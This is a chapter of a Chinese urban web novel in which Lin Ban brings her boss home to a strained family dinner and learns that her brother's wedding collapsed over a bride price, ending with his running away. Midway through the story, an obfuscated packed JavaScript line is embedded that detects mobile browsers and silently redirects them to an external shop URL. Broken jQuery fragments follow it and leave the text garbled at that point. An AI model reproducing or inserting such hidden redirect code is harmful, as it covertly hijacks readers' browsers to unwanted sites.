文趣网 > 都市小说 > 第十三天 > 10. 退婚
    林母轻轻蹭了一把脑门上的汗,把最后一道菜端上了桌,回头对林半说:“你去叫小边吃饭吧,我叫他们爷俩。”

    林半走到西厢房,门大开着,边言正一动也不动,不知盯着平板电脑上的什么正出神。

    她自觉该秉持对老板的尊重,语气也不禁轻柔起来:“边总,吃——”

    话刚冒了个尖,小院中忽地响起了一声气吞山河的咆哮:“吃——饭——啦——”

    边言冷不防一个激灵,平板电脑脱手而出,险些掉到地上。

    林半也跟着一个激灵,片刻后跟着反应了过来,脚指头顿时恨不得在地上抠出个地道来。

    “那个……我妈嗓门有时候的确有点高哈……哈哈……”

    “哈哈。”

    “……”

    客厅里,上了年纪的电风扇,一摇头骨头缝都跟着嘎嘎乱响,却是整个屋里唯一的风口。

    在餐桌边落座半晌,林半旁边的座位还是空的。

    林母在围裙上抹了一把手:“你们先吃,我叫小胜去。”

    人刚站起身,如雷的咆哮声却随之而至——

    “叫什么叫!他爱吃不吃!还当谁欠他的?这个小王八蛋有本事就饿死,别吃我一粒米,最好连口水也别喝!他还给我甩脸色看!”

    林父这一嗓门,威力远在林母之上。

    林母顿时僵在原地,走也不是,不走也不是,面如土色,只能悻悻坐下。

    林半见状,忙当做什么都没发生过,飞速夹了一筷子红烧鱼到母亲碗里:“妈,快尝尝我的手艺怎么样!”

    林母勉强笑笑,也舀了一大勺胡萝卜土豆烧鸡块:“囡囡看你瘦的一阵风都能吹跑,赶紧多吃点!小边也自己夹,也不知道你爱吃啥!”

    “好,阿姨我自己来就好。”

    一旁,林父兀自摸索到一个白色的塑料桶,一拧开盖,散装白酒的味道扑面而来。

    “小伙子,来一口吗?”

    林半夹菜的手一抖,忙截胡了父亲递向边言的杯子:“他胃不好,喝酒胃会出血。”

    林父也不语,只是静静地看了两人一眼,就把自己面前那一杯满上了。

    林母在桌子下轻轻戳了林父一下,接着道:“小边看起来文文静静的,是哪里的人呀?”

    边言身子坐得笔挺,把筷子轻轻搭在一边:“我们家在——”

    “在宁州周边的农村,有点偏。”

    林半嘴里的饭刚嚼了一半,因为急着说话,一瞬间在桌子上喷了大半。

    边言微笑着点点头,顺手拿过纸巾,递给一旁手忙脚乱的林某人。

    “哦,那你是做啥的?”林父咗了一口酒。

    边言一想到下午林半安排在自己脑袋上的职业,头皮一阵发麻,挣扎一瞬,还是轻轻捏了捏拳头,开口道:“我现在在——”

    “他跟我在一个厂子里拧螺丝。”

    边言依旧保持着体面的微笑,继续点头,旋即轻轻转过头,一脸笑意地望着林半。

    林半觉得自己要被身旁的目光烫死了,只能低着头使劲扒饭。

    林父一杯酒此时已经下去了一多半,他眼皮也不抬:“小囡,今天难得你妈烧了几个好菜,平时我们也就一口咸菜,今天也跟你沾光了。”

    “看你说什么话,孩子回来开心嘛!”

    林父瞥了林母一眼,在自己空了的杯子里又倒了半杯。一直到吃完饭,都没再开口说过一个字。

    边言心里明白了七七八八,却并不以为意,只夹着面前的一盘青菜。

    直到林半放下了碗筷,他也刚好扒完碗里的最后一口米:“叔叔阿姨,我吃好了,你们慢用。”

    林母忙抬起头:“小边累了一天了,那赶紧回房休息吧!”

    林半正要起身送边言,却被对方拦住:“你好好陪陪你爸妈吧。”

    一直到所有人离席,林东胜都没有出现过。

    厨房里,林母把剩菜折在一起,放进冰箱里。

    林半又拿过一块油腻腻的盘子,洗洁精的泡沫和油污在她那双白皙的手上,短暂地维持了片刻的和解。

    “囡囡啊,小边家里条件怎么样啊?”

    “跟咱家条件差不多吧。”

    林母向门外打量了两眼,接着道:“你在外面这么多年,就没遇到个条件好的?”

    林半自嘲式地笑笑:“妈,我自己几斤几两自己还不清楚,哪个条件好的能看好我这么一个破拧螺丝的。”

    “可小边的条件也太那个了……你真打算跟他结婚吗?”

    林半把最后一个洗干净的碗放在碗架子上:“还是看缘分吧。”

    “你年纪也不小了……”

    “妈——”林半道,”我先去看看小胜。”

    林母的话哽在喉头,只好生生咽了回去。

    林半随手抽了两张纸擦了擦手,手里端着刚刚拨出来的一大碗饭菜,头也不回往外走去。

    “吱——嘎——”

    推门的瞬间,东厢房门传来一声轻响。

    林半打眼一看,屋子里黑黢黢的,只有一块巴掌大的光源,发着幽幽的光。

    是床上人的手机屏幕。

    “我都说了你别管我,到底烦不烦!”床上的人低吼一声,屏幕上的短视频被一滑而过。

    林半抬手打开了房间的灯。

    “打算饿死自己,给他们点颜色瞧瞧?”

    林东胜忽然一个鲤鱼打挺,忙坐起来:“大姐——”

    林半将冒着尖的大碗往他面前一放:“就你身上这二两肉,再不吃点明天就只剩骨头架子了。”

    林东胜的肚子早就唱起了空城计,自然而然就坡下驴,一把端起了碗:“大姐,还是你对我好,都是我爱吃的!”

    林半看了眼手机,已经晚上八点,快到了父母睡觉的时间。她准备长话短说。

    “真不打算结婚了?”

    林东胜咀嚼着的嘴忽地顿住,旋即又往嘴里扒了两口饭。

    林半也并不再追问,只静静地看着他。

    良久,他才终于抬起眼:“其实,打一开始我就觉得,这个婚应该是结不成。”

    他的眸子,肉眼可见地晦暗下去。

    林半一惊,试探地问:“那是……人家没看好你?”

    林东胜把碗放在小桌子上:“怎么可能!我们俩是自己相中了处对象的……算了,说再多都没啥意义了。这个婚反正谁爱结谁结,我是不结了。”

    说罢,他脸上露出了一个笑,比哭还难看。旋即端起碗,龙卷风一样把剩下的饭菜一扫而空。

    “小胜,你有什么困难就跟大姐说。”

    林东胜用手背随便抹了一把嘴:“没有。”

    他将碗筷往小桌子上一放,头又沾到了枕头上。一扭头,脸就朝向了墙面,只留给林半一个孤零零的背影。

    林半望着手指不停划着短视频的背影,不禁叹了一口气,一手拿起空了的碗,起身往门口走去。

    “大姐——”

    林半闻言,转过了头:“嗯?”

    林东胜半晌也没憋出下一句话。

    林半回过身去,推开了门。

    “你……算不算……扶弟魔?”

    略显沙哑的男声在身后响起。

    林半不由得一愣,片刻后,默默抬脚走到了门外。

    “玩手机的时候别关灯,对眼睛不好。”

    “吱——嘎——”一声,门又关上了。

    夏夜连一丝风都没有。

    虫鸣和蛙声唱起了二重奏,间或掺杂几声犬吠跟着捣乱。

    几只蚊子和飞蛾绕着屋顶的白炽灯泡,一圈一圈地转,也不知道到底表演的是哪个曲目。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17863371|212114||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “啪——”

    林半对着胳膊一巴掌下去,蚊子的尸体和黏糊糊的血顿时沾在手心。

    林母从抽屉里掏出来一盒陈年老蚊香,林半拿过来在一旁点上:“咱家这蚊子真邪门,从小就专盯着我一个人叮!”

    “我们是被叮习惯了。来,你再抹点牙膏。”

    林半往蚊子包处抹了点牙膏,顿时感觉没那么痒了。

    “妈,小胜和那个姑娘,是怎么认识的?”

    林母铺被子的手顿时一顿,忍不住向窗外瞥了一眼,确定林父此刻已经到邻居家借宿去了,才说:“他俩啊,是自己处对象认识的。”

    是意料之中的答案。

    林半进一步试探问:“那是啥时候定来下结婚的?”

    一提到“结婚”这两个字,林母条件反射性地蹙起了眉头,半晌后才开口:“今年四月份定下来的。”接着叹了口气,“其实,俩人去年就打算结婚了。”

    “这么说,俩人的感情还不错吧?”

    “是不错,可女方家里人不是啥善茬。”

    林半想到他们要十八万八的医药费,同意地点了点头。

    林母继续道:“去年小胜跟小纪提了结婚,小纪家里要二十八万彩礼。唉——这么大一笔钱,哪怕你也每年都给家里寄钱,对咱家来说,这也不是一笔小数目,哪能掏的出来。如果我们真跟大伙借借,凑足了这笔钱,回头不还得全家还呐!你爸知道了,愁得三宿没睡着觉,最后还是没同意。”

    林半心里,忽地翻江倒海地涌起难言的难过,就在憋在胸口的话几乎脱口而出的时候,林母的声音继续响起。

    “也就是今年四月份时候,女方那边突然松口了,彩礼变成了十八万八。”她忍不住又叹了一口气,“小胜就哭着跪下来求你爸,说实在不行,这笔钱就当是他借的,以后他出去打工,去工地搬砖也会还你爸。你爸把咱家的存折掏出来,给他了。”

    林半知道,自己的老爹向来一分钱恨不得都掰成两半花,如今出了这么一回事,他肯定连劈了林东胜的心都有。

    林母抹了一把眼睛,林半坐到她跟前,轻轻拍了拍她的背。

    “妈,如果彩礼的事能解决,你还希望他俩结婚吗?”

    林母的手一顿,抬起头望着林半,紧紧握住了林半的手:“小胜今年都二十六了,村里像他这么大的,孩子都能打酱油了,当爹妈的咋能不急!只要能让小纪跟小胜结婚,我愿意天天去他们家门口跪着求他们去!”

    “妈,那明天咱们给小纪家里打个电话,我去跟他们家当面聊聊。”

    林母满口答应着:“对对!囡囡你从城里回来,见过大世面,你代表咱家跟他们谈谈!”

    说罢,又赶忙拿起了手机,一把递给了林半:“囡囡,你帮我瞧瞧,这个是小纪家的电话不?”

    林半看着通讯录名字上写着“小纪爸”三个字,点了点头:“是,我先记下来。”说着便录入了自己的手机通讯录里。

    林母在一旁已经打起了瞌睡。林半抬头看了眼挂钟上的时间,已经九点多了。她收拾完毕,关了灯,一头钻进被窝里。

    尽管身体已经十分疲惫,但这两天经历的事像过电影一样,在她脑子里翻来覆去、滚来滚去、荡来荡去。

    在不知道第多少次翻身之后,疲惫了一天的脑子终于宕机,不情不愿地进入了睡眠模式。

    “叮——”

    一条新消息出现在她的手机上。

    一旁,林母的鼾声也加入了夜间奏鸣的乐队,在林半耳边织出了极具屏蔽力的安眠曲。

    迷迷糊糊中,耳畔隐隐传来熟悉的声音。

    一声,一声,又一声。

    直到片刻后,重新掌管身体的交感神经才逐渐从熟悉的音节里,勉强拼凑出一句话。

    ——小胜跑了!!!